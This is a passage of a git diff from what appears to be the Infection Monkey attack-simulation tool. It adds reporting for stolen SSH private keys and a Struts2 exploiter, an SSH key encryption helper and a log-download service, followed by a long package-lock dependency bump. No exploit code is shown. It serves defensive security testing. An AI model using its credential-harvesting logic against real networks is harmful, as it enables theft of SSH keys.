ConfigService.decrypt_ssh_key_pair(config_arr[i], True) + else: + config_arr[i] = encryptor.dec(config_arr[i]) if is_decrypt else encryptor.enc(config_arr[i]) + + @staticmethod + def decrypt_ssh_key_pair(pair, encrypt=False): + if encrypt: + pair['public_key'] = encryptor.enc(pair['public_key']) + pair['private_key'] = encryptor.enc(pair['private_key']) + else: + pair['public_key'] = encryptor.dec(pair['public_key']) + pair['private_key'] = encryptor.dec(pair['private_key']) + return pair diff --git a/monkey_island/cc/services/island_logs.py b/monkey_island/cc/services/island_logs.py new file mode 100644 index 000000000..77b28bdd4 --- /dev/null +++ b/monkey_island/cc/services/island_logs.py @@ -0,0 +1,32 @@ +import logging +__author__ = "Maor.Rayzin" + +logger = logging.getLogger(__name__) + + +class IslandLogService: + def __init__(self): + pass + + @staticmethod + def get_log_file(): + """ + This static function is a helper function for the monkey island log download function. + It finds the logger handlers and checks if one of them is a fileHandler of any kind by checking if the handler + has the property handler.baseFilename. + :return: + a dict with the log file content. + """ + logger_handlers = logger.parent.handlers + for handler in logger_handlers: + if hasattr(handler, 'baseFilename'): + logger.info('Log file found: {0}'.format(handler.baseFilename)) + log_file_path = handler.baseFilename + with open(log_file_path, 'rt') as f: + log_file = f.read() + return { + 'log_file': log_file + } + + logger.warning('No log file could be found, check logger config.') + return None diff --git a/monkey_island/cc/services/report.py b/monkey_island/cc/services/report.py index 72bc74806..369b29c25 100644 --- a/monkey_island/cc/services/report.py +++ b/monkey_island/cc/services/report.py @@ -1,6 +1,9 @@ import ipaddress +import logging from enum import Enum +from six import text_type + from cc.database import mongo from cc.services.config import ConfigService from cc.services.edge import EdgeService @@ -10,6 +13,9 @@ from cc.utils import local_ip_addresses, get_subnets __author__ = "itay.mizeretz" +logger = logging.getLogger(__name__) + + class ReportService: def __init__(self): pass @@ -24,6 +30,7 @@ class ReportService: 'ElasticGroovyExploiter': 'Elastic Groovy Exploiter', 'Ms08_067_Exploiter': 'Conficker Exploiter', 'ShellShockExploiter': 'ShellShock Exploiter', + 'Struts2Exploiter': 'Struts2 Exploiter' } class ISSUES_DICT(Enum): @@ -34,6 +41,8 @@ class ReportService: SHELLSHOCK = 4 CONFICKER = 5 AZURE = 6 + STOLEN_SSH_KEYS = 7 + STRUTS2 = 8 class WARNINGS_DICT(Enum): CROSS_SEGMENT = 0 @@ -77,6 +86,8 @@ class ReportService: creds = ReportService.get_azure_creds() machines = set([instance['origin'] for instance in creds]) + logger.info('Azure issues generated for reporting') + return [ { 'type': 'azure_password', @@ -103,6 +114,8 @@ class ReportService: } for node in nodes] + logger.info('Scanned nodes generated for reporting') + return nodes @staticmethod @@ -124,6 +137,8 @@ class ReportService: } for monkey in exploited] + logger.info('Exploited nodes generated for reporting') + return exploited @staticmethod @@ -147,6 +162,28 @@ class ReportService: 'origin': origin } ) + logger.info('Stolen creds generated for reporting') + return creds + + @staticmethod + def get_ssh_keys(): + """ + Return private ssh keys found as credentials + :return: List of credentials + """ + creds = [] + for telem in mongo.db.telemetry.find( + {'telem_type': 'system_info_collection', 'data.ssh_info': {'$exists': True}}, + {'data.ssh_info': 1, 'monkey_guid': 1} + ): + origin = NodeService.get_monkey_by_guid(telem['monkey_guid'])['hostname'] + if telem['data']['ssh_info']: + # Pick out all ssh keys not yet included in creds + ssh_keys = [{'username': key_pair['name'], 'type': 'Clear SSH private key', + 'origin': origin} for key_pair in telem['data']['ssh_info'] + if key_pair['private_key'] and {'username': key_pair['name'], 'type': 'Clear SSH private key', + 'origin': origin} not in creds] + creds.extend(ssh_keys) return creds @staticmethod @@ -167,6 +204,8 @@ class ReportService: azure_leaked_users = [{'username': user.replace(',', '.'), 'type': 'Clear Password', 'origin': origin} for user in azure_users] creds.extend(azure_leaked_users) + + logger.info('Azure machines creds generated for reporting') return creds @staticmethod @@ -182,9 +221,12 @@ class ReportService: for attempt in exploit['data']['attempts']: if attempt['result']: processed_exploit['username'] = attempt['user'] - if len(attempt['password']) > 0: + if attempt['password']: processed_exploit['type'] = 'password' processed_exploit['password'] = attempt['password'] + elif attempt['ssh_key']: + processed_exploit['type'] = 'ssh_key' + processed_exploit['ssh_key'] = attempt['ssh_key'] else: processed_exploit['type'] = 'hash' return processed_exploit @@ -210,8 +252,12 @@ class ReportService: @staticmethod def process_ssh_exploit(exploit): processed_exploit = ReportService.process_general_creds_exploit(exploit) - processed_exploit['type'] = 'ssh' - return processed_exploit + # Check if it's ssh key or ssh login credentials exploit + if processed_exploit['type'] == 'ssh_key': + return processed_exploit + else: + processed_exploit['type'] = 'ssh' + return processed_exploit @staticmethod def process_rdp_exploit(exploit): @@ -246,6 +292,12 @@ class ReportService: processed_exploit['paths'] = ['/' + url.split(':')[2].split('/')[1] for url in urls] return processed_exploit + @staticmethod + def process_struts2_exploit(exploit): + processed_exploit = ReportService.process_general_exploit(exploit) + processed_exploit['type'] = 'struts2' + return processed_exploit + @staticmethod def process_exploit(exploit): exploiter_type = exploit['data']['exploiter'] @@ -258,6 +310,7 @@ class ReportService: 'ElasticGroovyExploiter': ReportService.process_elastic_exploit, 'Ms08_067_Exploiter': ReportService.process_conficker_exploit, 'ShellShockExploiter': ReportService.process_shellshock_exploit, + 'Struts2Exploiter': ReportService.process_struts2_exploit } return EXPLOIT_PROCESS_FUNCTION_DICT[exploiter_type](exploit) @@ -282,7 +335,7 @@ class ReportService: return \ [ - ipaddress.ip_interface(unicode(network['addr'] + '/' + network['netmask'])).network + ipaddress.ip_interface(text_type(network['addr'] + '/' + network['netmask'])).network for network in network_info['data']['network_info']['networks'] ] @@ -295,7 +348,7 @@ class ReportService: monkey_subnets = ReportService.get_monkey_subnets(monkey['guid']) for subnet in monkey_subnets: for ip in island_ips: - if ipaddress.ip_address(unicode(ip)) in subnet: + if ipaddress.ip_address(text_type(ip)) in subnet: found_good_ip = True break if found_good_ip: @@ -311,13 +364,15 @@ class ReportService: @staticmethod def get_issues(): - issues = ReportService.get_exploits() + ReportService.get_tunnels() + ReportService.get_cross_segment_issues() + ReportService.get_azure_issues() + issues = ReportService.get_exploits() + ReportService.get_tunnels() +\ + ReportService.get_cross_segment_issues() + ReportService.get_azure_issues() issues_dict = {} for issue in issues: machine = issue['machine'] if machine not in issues_dict: issues_dict[machine] = [] issues_dict[machine].append(issue) + logger.info('Issues generated for reporting') return issues_dict @staticmethod @@ -349,10 +404,7 @@ class ReportService: @staticmethod def get_config_ips(): - if ConfigService.get_config_value(['basic_network', 'network_range', 'range_class'], True, - True) != 'FixedRange': - return [] - return ConfigService.get_config_value(['basic_network', 'network_range', 'range_fixed'], True, True) + return ConfigService.get_config_value(['basic_network', 'general', 'subnet_scan_list'], True, True) @staticmethod def get_config_scan(): @@ -374,8 +426,12 @@ class ReportService: issues_byte_array[ReportService.ISSUES_DICT.CONFICKER.value] = True elif issue['type'] == 'azure_password': issues_byte_array[ReportService.ISSUES_DICT.AZURE.value] = True + elif issue['type'] == 'ssh_key': + issues_byte_array[ReportService.ISSUES_DICT.STOLEN_SSH_KEYS.value] = True + elif issue['type'] == 'struts2': + issues_byte_array[ReportService.ISSUES_DICT.STRUTS2.value] = True elif issue['type'].endswith('_password') and issue['password'] in config_passwords and \ - issue['username'] in config_users: + issue['username'] in config_users or issue['type'] == 'ssh': issues_byte_array[ReportService.ISSUES_DICT.WEAK_PASSWORD.value] = True elif issue['type'].endswith('_pth') or issue['type'].endswith('_password'): issues_byte_array[ReportService.ISSUES_DICT.STOLEN_CREDS.value] = True @@ -408,6 +464,7 @@ class ReportService: {'name': 'generated_report'}, {'$set': {'value': True}}, upsert=True) + logger.info("Report marked as generated.") @staticmethod def get_report(): @@ -436,6 +493,7 @@ class ReportService: 'exploited': ReportService.get_exploited(), 'stolen_creds': ReportService.get_stolen_creds(), 'azure_passwords': ReportService.get_azure_creds(), + 'ssh_keys': ReportService.get_ssh_keys() }, 'recommendations': { diff --git a/monkey_island/cc/ui/package-lock.json b/monkey_island/cc/ui/package-lock.json index 8acd6e3e6..79bf9178f 100644 --- a/monkey_island/cc/ui/package-lock.json +++ b/monkey_island/cc/ui/package-lock.json @@ -237,9 +237,9 @@ } }, "assert-plus": { - "version": "0.2.0", - "resolved": "https://registry.npmjs.org/assert-plus/-/assert-plus-0.2.0.tgz", - "integrity": "sha1-104bh+ev/A24qttwIfP+SBAasjQ=", + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/assert-plus/-/assert-plus-1.0.0.tgz", + "integrity": "sha1-8S4PPF13sLHN2RRpQuTpbB5N1SU=", "dev": true }, "assertion-error": { @@ -281,15 +281,15 @@ } }, "aws-sign2": { - "version": "0.6.0", - "resolved": "https://registry.npmjs.org/aws-sign2/-/aws-sign2-0.6.0.tgz", - "integrity": "sha1-FDQt0428yU0OW4fXY81jYSwOeU8=", + "version": "0.7.0", + "resolved": "https://registry.npmjs.org/aws-sign2/-/aws-sign2-0.7.0.tgz", + "integrity": "sha1-tG6JCTSpWR8tL2+G1+ap8bP+dqg=", "dev": true }, "aws4": { - "version": "1.6.0", - "resolved": "https://registry.npmjs.org/aws4/-/aws4-1.6.0.tgz", - "integrity": "sha1-g+9cqGCysy5KDe7e6MdxudtXRx4=", + "version": "1.7.0", + "resolved": "https://registry.npmjs.org/aws4/-/aws4-1.7.0.tgz", + "integrity": "sha512-32NDda82rhwD9/JBCCkB+MRYDp0oSvlo2IL6rQWA10PQi7tDUM3eqMSltXmY+Oyl/7N3P3qNtAlv7X0d9bI28w==", "dev": true }, "babel-code-frame": { @@ -347,7 +347,7 @@ "integrity": "sha1-llxwWGaOgrVde/4E/yM3vItWR/4=", "dev": true, "requires": { - "core-js": "2.5.1", + "core-js": "2.5.6", "regenerator-runtime": "0.11.0" } }, @@ -442,7 +442,7 @@ "integrity": "sha1-llxwWGaOgrVde/4E/yM3vItWR/4=", "dev": true, "requires": { - "core-js": "2.5.1", + "core-js": "2.5.6", "regenerator-runtime": "0.11.0" } }, @@ -1170,7 +1170,7 @@ "dev": true, "requires": { "babel-runtime": "6.26.0", - "core-js": "2.5.1", + "core-js": "2.5.6", "regenerator-runtime": "0.10.5" }, "dependencies": { @@ -1180,7 +1180,7 @@ "integrity": "sha1-llxwWGaOgrVde/4E/yM3vItWR/4=", "dev": true, "requires": { - "core-js": "2.5.1", + "core-js": "2.5.6", "regenerator-runtime": "0.11.0" }, "dependencies": { @@ -1304,7 +1304,7 @@ "requires": { "babel-core": "6.26.0", "babel-runtime": "6.26.0", - "core-js": "2.5.1", + "core-js": "2.5.6", "home-or-tmp": "2.0.0", "lodash": "4.17.4", "mkdirp": "0.5.1", @@ -1317,7 +1317,7 @@ "integrity": "sha1-llxwWGaOgrVde/4E/yM3vItWR/4=", "dev": true, "requires": { - "core-js": "2.5.1", + "core-js": "2.5.6", "regenerator-runtime": "0.11.0" } }, @@ -1334,7 +1334,7 @@ "resolved": "https://registry.npmjs.org/babel-runtime/-/babel-runtime-6.25.0.tgz", "integrity": "sha1-M7mOql1IK7AajRqmtDetKwGuxBw=", "requires": { - "core-js": "2.5.1", + "core-js": "2.5.6", "regenerator-runtime": "0.10.5" } }, @@ -1514,12 +1514,12 @@ } }, "boom": { - "version": "2.10.1", - "resolved": "https://registry.npmjs.org/boom/-/boom-2.10.1.tgz", - "integrity": "sha1-OciRjO/1eZ+D+UkqhI9iWt0Mdm8=", + "version": "4.3.1", + "resolved": "https://registry.npmjs.org/boom/-/boom-4.3.1.tgz", + "integrity": "sha1-T4owBctKfjiJ90kDD9JbluAdLjE=", "dev": true, "requires": { - "hoek": "2.16.3" + "hoek": "4.2.1" } }, "bootstrap": { @@ -1564,9 +1564,9 @@ } }, "browser-stdout": { - "version": "1.3.0", - "resolved": "https://registry.npmjs.org/browser-stdout/-/browser-stdout-1.3.0.tgz", - "integrity": "sha1-81HTKWnTL6XXpVZxVCY9korjvR8=", + "version": "1.3.1", + "resolved": "https://registry.npmjs.org/browser-stdout/-/browser-stdout-1.3.1.tgz", + "integrity": "sha512-qhAVI1+Av2X7qelOfAIYwXONood6XlZE/fXaBSmW/T5SzLAmCgzi+eiWE7fUvbHaeNBQH13UftjpXxsfLkMpgw==", "dev": true }, "browserify-aes": { @@ -1897,14 +1897,20 @@ } }, "combined-stream": { - "version": "1.0.5", - "resolved": "https://registry.npmjs.org/combined-stream/-/combined-stream-1.0.5.tgz", - "integrity": "sha1-k4NwpXtKUd6ix3wV1cX9+JUWQAk=", + "version": "1.0.6", + "resolved": "https://registry.npmjs.org/combined-stream/-/combined-stream-1.0.6.tgz", + "integrity": "sha1-cj599ugBrFYTETp+RFqbactjKBg=", "dev": true, "requires": { "delayed-stream": "1.0.0" } }, + "commander": { + "version": "2.15.1", + "resolved": "https://registry.npmjs.org/commander/-/commander-2.15.1.tgz", + "integrity": "sha512-VlfT9F3V0v+jr4yxPc5gg9s62/fIVWsd2Bk2iD435um1NlGMYdVCq+MjcXnhYq2icNOizHr1kK+5TI6H0Hy0ag==", + "dev": true + }, "commondir": { "version": "1.0.1", "resolved": "https://registry.npmjs.org/commondir/-/commondir-1.0.1.tgz", @@ -2096,9 +2102,9 @@ } }, "core-js": { - "version": "2.5.1", - "resolved": "https://registry.npmjs.org/core-js/-/core-js-2.5.1.tgz", - "integrity": "sha1-rmh03GaTd4m4B1T/VCjfZoGcpQs=" + "version": "2.5.6", + "resolved": "https://registry.npmjs.org/core-js/-/core-js-2.5.6.tgz", + "integrity": "sha512-lQUVfQi0aLix2xpyjrrJEvfuYCqPc/HwmTKsC/VNf8q0zsjX7SQZtp4+oRONN5Tsur9GDETPjj+Ub2iDiGZfSQ==" }, "core-util-is": { "version": "1.0.2", @@ -2107,22 +2113,33 @@ "dev": true }, "create-react-class": { - "version": "15.6.0", - "resolved": "https://registry.npmjs.org/create-react-class/-/create-react-class-15.6.0.tgz", - "integrity": "sha1-q0SEl8JlZuHilBPogyB9V8/nvtQ=", + "version": "15.6.3", + "resolved": "https://registry.npmjs.org/create-react-class/-/create-react-class-15.6.3.tgz", + "integrity": "sha512-M+/3Q6E6DLO6Yx3OwrWjwHBnvfXXYA7W+dFjt/ZDBemHO1DDZhsalX/NUtnTYclN6GfnBDRh4qRHjcDHmlJBJg==", "requires": { - "fbjs": "0.8.14", + "fbjs": "0.8.16", "loose-envify": "1.3.1", "object-assign": "4.1.1" } }, "cryptiles": { - "version": "2.0.5", - "resolved": "https://registry.npmjs.org/cryptiles/-/cryptiles-2.0.5.tgz", - "integrity": "sha1-O9/s3GCBR8HGcgL6KR59ylnqo7g=", + "version": "3.1.2", + "resolved": "https://registry.npmjs.org/cryptiles/-/cryptiles-3.1.2.tgz", + "integrity": "sha1-qJ+7Ig9c4l7FboxKqKT9e1sNKf4=", "dev": true, "requires": { - "boom": "2.10.1" + "boom": "5.2.0" + }, + "dependencies": { + "boom": { + "version": "5.2.0", + "resolved": "https://registry.npmjs.org/boom/-/boom-5.2.0.tgz", + "integrity": "sha512-Z5BTk6ZRe4tXXQlkqftmsAUANpXmuwlsF5Oov8ThoMbQRzdGTA1ngYRW160GexgOgjsFOKJz0LYhoNi+2AMBUw==", + "dev": true, + "requires": { + "hoek": "4.2.1" + } + } } }, "crypto-browserify": { @@ -2267,14 +2284,6 @@ "dev": true, "requires": { "assert-plus": "1.0.0" - }, - "dependencies": { - "assert-plus": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/assert-plus/-/assert-plus-1.0.0.tgz", - "integrity": "sha1-8S4PPF13sLHN2RRpQuTpbB5N1SU=", - "dev": true - } } }, "date-now": { @@ -2359,7 +2368,7 @@ "object-assign": "4.1.1", "pify": "2.3.0", "pinkie-promise": "2.0.1", - "rimraf": "2.6.1" + "rimraf": "2.6.2" } }, "delayed-stream": { @@ -2396,9 +2405,9 @@ "dev": true }, "diff": { - "version": "3.2.0", - "resolved": "https://registry.npmjs.org/diff/-/diff-3.2.0.tgz", - "integrity": "sha1-yc45Okt8vQsFinJck98pkCeGj/k=", + "version": "3.5.0", + "resolved": "https://registry.npmjs.org/diff/-/diff-3.5.0.tgz", + "integrity": "sha512-A46qtFgd+g7pDZinpnwiRJtxbC1hpgf0uzP3iG89scHk0AUC7A1TGxf5OiiOUv/JMZR8GOt8hL900hV0bOy5xA==", "dev": true }, "doctrine": { @@ -2420,9 +2429,9 @@ } }, "dom-helpers": { - "version": "3.2.1", - "resolved": "https://registry.npmjs.org/dom-helpers/-/dom-helpers-3.2.1.tgz", - "integrity": "sha1-MgPgf+0he9H0JLAZc1WC/Deyglo=" + "version": "3.3.1", + "resolved": "https://registry.npmjs.org/dom-helpers/-/dom-helpers-3.3.1.tgz", + "integrity": "sha512-2Sm+JaYn74OiTM2wHvxJOo3roiq/h25Yi69Fqk269cNUwIXsCvATB6CRSFC9Am/20G2b28hGv/+7NiWydIrPvg==" }, "dom-serialize": { "version": "2.2.1", @@ -2701,9 +2710,9 @@ } }, "es6-promise": { - "version": "4.0.5", - "resolved": "https://registry.npmjs.org/es6-promise/-/es6-promise-4.0.5.tgz", - "integrity": "sha1-eILzCt3lskDM+n99eMVIMwlRrkI=", + "version": "4.2.4", + "resolved": "https://registry.npmjs.org/es6-promise/-/es6-promise-4.2.4.tgz", + "integrity": "sha512-/NdNZVJg+uZgtm9eS3O6lrOLYmQag2DjdEXuPaHlZ6RuVqgqaVZfgYCepEIKsLqwdQArOPtC3XzRLqGGfT8KQQ==", "dev": true }, "es6-set": { @@ -2849,7 +2858,7 @@ "loader-utils": "1.1.0", "object-assign": "4.1.1", "object-hash": "1.1.8", - "rimraf": "2.6.1" + "rimraf": "2.6.2" }, "dependencies": { "loader-utils": { @@ -3108,24 +3117,24 @@ } }, "extract-zip": { - "version": "1.6.5", - "resolved": "https://registry.npmjs.org/extract-zip/-/extract-zip-1.6.5.tgz", - "integrity": "sha1-maBnNbbqIOqbcF13ms/8yHz/BEA=", + "version": "1.6.6", + "resolved": "https://registry.npmjs.org/extract-zip/-/extract-zip-1.6.6.tgz", + "integrity": "sha1-EpDt6NINCHK0Kf0/NRyhKOxe+Fw=", "dev": true, "requires": { "concat-stream": "1.6.0", - "debug": "2.2.0", + "debug": "2.6.9", "mkdirp": "0.5.0", "yauzl": "2.4.1" }, "dependencies": { "debug": { - "version": "2.2.0", - "resolved": "https://registry.npmjs.org/debug/-/debug-2.2.0.tgz", - "integrity": "sha1-+HBX6ZWxofauaklgZkE3vFbwOdo=", + "version": "2.6.9", + "resolved": "https://registry.npmjs.org/debug/-/debug-2.6.9.tgz", + "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==", "dev": true, "requires": { - "ms": "0.7.1" + "ms": "2.0.0" } }, "minimist": { @@ -3142,12 +3151,6 @@ "requires": { "minimist": "0.0.8" } - }, - "ms": { - "version": "0.7.1", - "resolved": "https://registry.npmjs.org/ms/-/ms-0.7.1.tgz", - "integrity": "sha1-nNE8A62/8ltl7/3nzoZO6VIBcJg=", - "dev": true } } }, @@ -3157,6 +3160,18 @@ "integrity": "sha1-lpGEQOMEGnpBT4xS48V06zw+HgU=", "dev": true }, + "fast-deep-equal": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/fast-deep-equal/-/fast-deep-equal-1.1.0.tgz", + "integrity": "sha1-wFNHeBfIa1HaqFPIHgWbcz0CNhQ=", + "dev": true + }, + "fast-json-stable-stringify": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/fast-json-stable-stringify/-/fast-json-stable-stringify-2.0.0.tgz", + "integrity": "sha1-1RQsDK7msRifh9OnYREGT4bIu/I=", + "dev": true + }, "fast-levenshtein": { "version": "2.0.6", "resolved": "https://registry.npmjs.org/fast-levenshtein/-/fast-levenshtein-2.0.6.tgz", @@ -3179,9 +3194,9 @@ } }, "fbjs": { - "version": "0.8.14", - "resolved": "https://registry.npmjs.org/fbjs/-/fbjs-0.8.14.tgz", - "integrity": "sha1-0dviviVMNakeCfMfnNUKQLKg7Rw=", + "version": "0.8.16", + "resolved": "https://registry.npmjs.org/fbjs/-/fbjs-0.8.16.tgz", + "integrity": "sha1-XmdDL1UNxBtXK/VYR7ispk5TN9s=", "requires": { "core-js": "1.2.7", "isomorphic-fetch": "2.2.1", @@ -3189,7 +3204,7 @@ "object-assign": "4.1.1", "promise": "7.3.1", "setimmediate": "1.0.5", - "ua-parser-js": "0.7.14" + "ua-parser-js": "0.7.17" }, "dependencies": { "core-js": { @@ -3352,13 +3367,13 @@ "dev": true }, "form-data": { - "version": "2.1.4", - "resolved": "https://registry.npmjs.org/form-data/-/form-data-2.1.4.tgz", - "integrity": "sha1-M8GDrPGTJ27KqYFDpp6Uv+4XUNE=", + "version": "2.3.2", + "resolved": "https://registry.npmjs.org/form-data/-/form-data-2.3.2.tgz", + "integrity": "sha1-SXBJi+YEwgwAXU9cI67NIda0kJk=", "dev": true, "requires": { "asynckit": "0.4.0", - "combined-stream": "1.0.5", + "combined-stream": "1.0.6", "mime-types": "2.1.16" } }, @@ -4324,14 +4339,6 @@ "dev": true, "requires": { "assert-plus": "1.0.0" - }, - "dependencies": { - "assert-plus": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/assert-plus/-/assert-plus-1.0.0.tgz", - "integrity": "sha1-8S4PPF13sLHN2RRpQuTpbB5N1SU=", - "dev": true - } } }, "glob": { @@ -4411,16 +4418,10 @@ "integrity": "sha1-Dovf5NHduIVNZOBOp8AOKgJuVlg=", "dev": true }, - "graceful-readlink": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/graceful-readlink/-/graceful-readlink-1.0.1.tgz", - "integrity": "sha1-TK+tdrxi8C+gObL5Tpo906ORpyU=", - "dev": true - }, "growl": { - "version": "1.9.2", - "resolved": "https://registry.npmjs.org/growl/-/growl-1.9.2.tgz", - "integrity": "sha1-Dqd0NxXbjY3ixe3hd14bRayFwC8=", + "version": "1.10.5", + "resolved": "https://registry.npmjs.org/growl/-/growl-1.10.5.tgz", + "integrity": "sha512-qBr4OuELkhPenW6goKVXiv47US3clb3/IbuWF9KNKEijAy9oeHxU9IgzjvJhHkUzhaj7rOUD7+YGWqUjLp5oSA==", "dev": true }, "hammerjs": { @@ -4452,19 +4453,33 @@ } }, "har-schema": { - "version": "1.0.5", - "resolved": "https://registry.npmjs.org/har-schema/-/har-schema-1.0.5.tgz", - "integrity": "sha1-0mMTX0MwfALGAq/I/pWXDAFRNp4=", + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/har-schema/-/har-schema-2.0.0.tgz", + "integrity": "sha1-qUwiJOvKwEeCoNkDVSHyRzW37JI=", "dev": true }, "har-validator": { - "version": "4.2.1", - "resolved": "https://registry.npmjs.org/har-validator/-/har-validator-4.2.1.tgz", - "integrity": "sha1-M0gdDxu/9gDdID11gSpqX7oALio=", + "version": "5.0.3", + "resolved": "https://registry.npmjs.org/har-validator/-/har-validator-5.0.3.tgz", + "integrity": "sha1-ukAsJmGU8VlW7xXg/PJCmT9qff0=", "dev": true, "requires": { - "ajv": "4.11.8", - "har-schema": "1.0.5" + "ajv": "5.5.2", + "har-schema": "2.0.0" + }, + "dependencies": { + "ajv": { + "version": "5.5.2", + "resolved": "https://registry.npmjs.org/ajv/-/ajv-5.5.2.tgz", + "integrity": "sha1-c7Xuyj+rZT49P5Qis0GtQiBdyWU=", + "dev": true, + "requires": { + "co": "4.6.0", + "fast-deep-equal": "1.1.0", + "fast-json-stable-stringify": "2.0.0", + "json-schema-traverse": "0.3.1" + } + } } }, "has": { @@ -4517,17 +4532,23 @@ } }, "hawk": { - "version": "3.1.3", - "resolved": "https://registry.npmjs.org/hawk/-/hawk-3.1.3.tgz", - "integrity": "sha1-B4REvXwWQLD+VA0sm3PVlnjo4cQ=", + "version": "6.0.2", + "resolved": "https://registry.npmjs.org/hawk/-/hawk-6.0.2.tgz", + "integrity": "sha512-miowhl2+U7Qle4vdLqDdPt9m09K6yZhkLDTWGoUiUzrQCn+mHHSmfJgAyGaLRZbPmTqfFFjRV1QWCW0VWUJBbQ==", "dev": true, "requires": { - "boom": "2.10.1", - "cryptiles": "2.0.5", - "hoek": "2.16.3", - "sntp": "1.0.9" + "boom": "4.3.1", + "cryptiles": "3.1.2", + "hoek": "4.2.1", + "sntp": "2.1.0" } }, + "he": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/he/-/he-1.1.1.tgz", + "integrity": "sha1-k0EP0hsAlzUVH4howvJx80J+I/0=", + "dev": true + }, "history": { "version": "4.7.2", "resolved": "https://registry.npmjs.org/history/-/history-4.7.2.tgz", @@ -4541,9 +4562,9 @@ } }, "hoek": { - "version": "2.16.3", - "resolved": "https://registry.npmjs.org/hoek/-/hoek-2.16.3.tgz", - "integrity": "sha1-ILt0A9POo5jpHcRxCo/xuCdKJe0=", + "version": "4.2.1", + "resolved": "https://registry.npmjs.org/hoek/-/hoek-4.2.1.tgz", + "integrity": "sha512-QLg82fGkfnJ/4iy1xZ81/9SIJiq1NGFUMGs6ParyjBZr6jW2Ufj/snDqTHixNlHdPNwN2RLVD0Pi3igeK9+JfA==", "dev": true }, "hoist-non-react-statics": { @@ -4625,14 +4646,14 @@ } }, "http-signature": { - "version": "1.1.1", - "resolved": "https://registry.npmjs.org/http-signature/-/http-signature-1.1.1.tgz", - "integrity": "sha1-33LiZwZs0Kxn+3at+OE0qPvPkb8=", + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/http-signature/-/http-signature-1.2.0.tgz", + "integrity": "sha1-muzZJRFHcvPZW2WmCruPfBj7rOE=", "dev": true, "requires": { - "assert-plus": "0.2.0", + "assert-plus": "1.0.0", "jsprim": "1.4.1", - "sshpk": "1.13.1" + "sshpk": "1.14.1" } }, "https-browserify": { @@ -5027,8 +5048,8 @@ "resolved": "https://registry.npmjs.org/isomorphic-fetch/-/isomorphic-fetch-2.2.1.tgz", "integrity": "sha1-YRrhrPFPXoH3KVB0coGf6XM1WKk=", "requires": { - "node-fetch": "1.7.2", - "whatwg-fetch": "2.0.3" + "node-fetch": "1.7.3", + "whatwg-fetch": "2.0.4" } }, "isstream": { @@ -5139,6 +5160,12 @@ "integrity": "sha1-tIDIkuWaLwWVTOcnvT8qTogvnhM=", "dev": true }, + "json-schema-traverse": { + "version": "0.3.1", + "resolved": "https://registry.npmjs.org/json-schema-traverse/-/json-schema-traverse-0.3.1.tgz", + "integrity": "sha1-NJptRMU6Ud6JtAgFxdXlm0F9M0A=", + "dev": true + }, "json-stable-stringify": { "version": "1.0.1", "resolved": "https://registry.npmjs.org/json-stable-stringify/-/json-stable-stringify-1.0.1.tgz", @@ -5202,14 +5229,6 @@ "extsprintf": "1.3.0", "json-schema": "0.2.3", "verror": "1.10.0" - }, - "dependencies": { - "assert-plus": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/assert-plus/-/assert-plus-1.0.0.tgz", - "integrity": "sha1-8S4PPF13sLHN2RRpQuTpbB5N1SU=", - "dev": true - } } }, "jsx-ast-utils": { @@ -5235,7 +5254,7 @@ "colors": "1.1.2", "combine-lists": "1.0.1", "connect": "3.6.3", - "core-js": "2.5.1", + "core-js": "2.5.6", "di": "0.0.1", "dom-serialize": "2.2.1", "expand-braces": "0.1.2", @@ -5250,7 +5269,7 @@ "optimist": "0.6.1", "qjobs": "1.1.5", "range-parser": "1.2.0", - "rimraf": "2.6.1", + "rimraf": "2.6.2", "safe-buffer": "5.1.1", "socket.io": "1.7.3", "source-map": "0.5.6", @@ -5303,13 +5322,13 @@ } }, "karma-mocha-reporter": { - "version": "2.2.4", - "resolved": "https://registry.npmjs.org/karma-mocha-reporter/-/karma-mocha-reporter-2.2.4.tgz", - "integrity": "sha1-DJyyLCfYZND2aU3wzwHKq86QZNQ=", + "version": "2.2.5", + "resolved": "https://registry.npmjs.org/karma-mocha-reporter/-/karma-mocha-reporter-2.2.5.tgz", + "integrity": "sha1-FRIAlejtgZGG5HoLAS8810GJVWA=", "dev": true, "requires": { - "chalk": "2.1.0", - "log-symbols": "2.0.0", + "chalk": "2.4.0", + "log-symbols": "2.2.0", "strip-ansi": "4.0.0" }, "dependencies": { @@ -5320,29 +5339,29 @@ "dev": true }, "ansi-styles": { - "version": "3.2.0", - "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-3.2.0.tgz", - "integrity": "sha512-NnSOmMEYtVR2JVMIGTzynRkkaxtiq1xnFBcdQD/DnNCYPoEPsVJhM98BDyaoNOQIi7p4okdi3E27eN7GQbsUug==", + "version": "3.2.1", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-3.2.1.tgz", + "integrity": "sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA==", "dev": true, "requires": { "color-convert": "1.9.0" } }, "chalk": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/chalk/-/chalk-2.1.0.tgz", - "integrity": "sha512-LUHGS/dge4ujbXMJrnihYMcL4AoOweGnw9Tp3kQuqy1Kx5c1qKjqvMJZ6nVJPMWJtKCTN72ZogH3oeSO9g9rXQ==", + "version": "2.4.0", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-2.4.0.tgz", + "integrity": "sha512-Wr/w0f4o9LuE7K53cD0qmbAMM+2XNLzR29vFn5hqko4sxGlUsyy363NvmyGIyk5tpe9cjTr9SJYbysEyPkRnFw==", "dev": true, "requires": { - "ansi-styles": "3.2.0", + "ansi-styles": "3.2.1", "escape-string-regexp": "1.0.5", - "supports-color": "4.4.0" + "supports-color": "5.4.0" } }, "has-flag": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-2.0.0.tgz", - 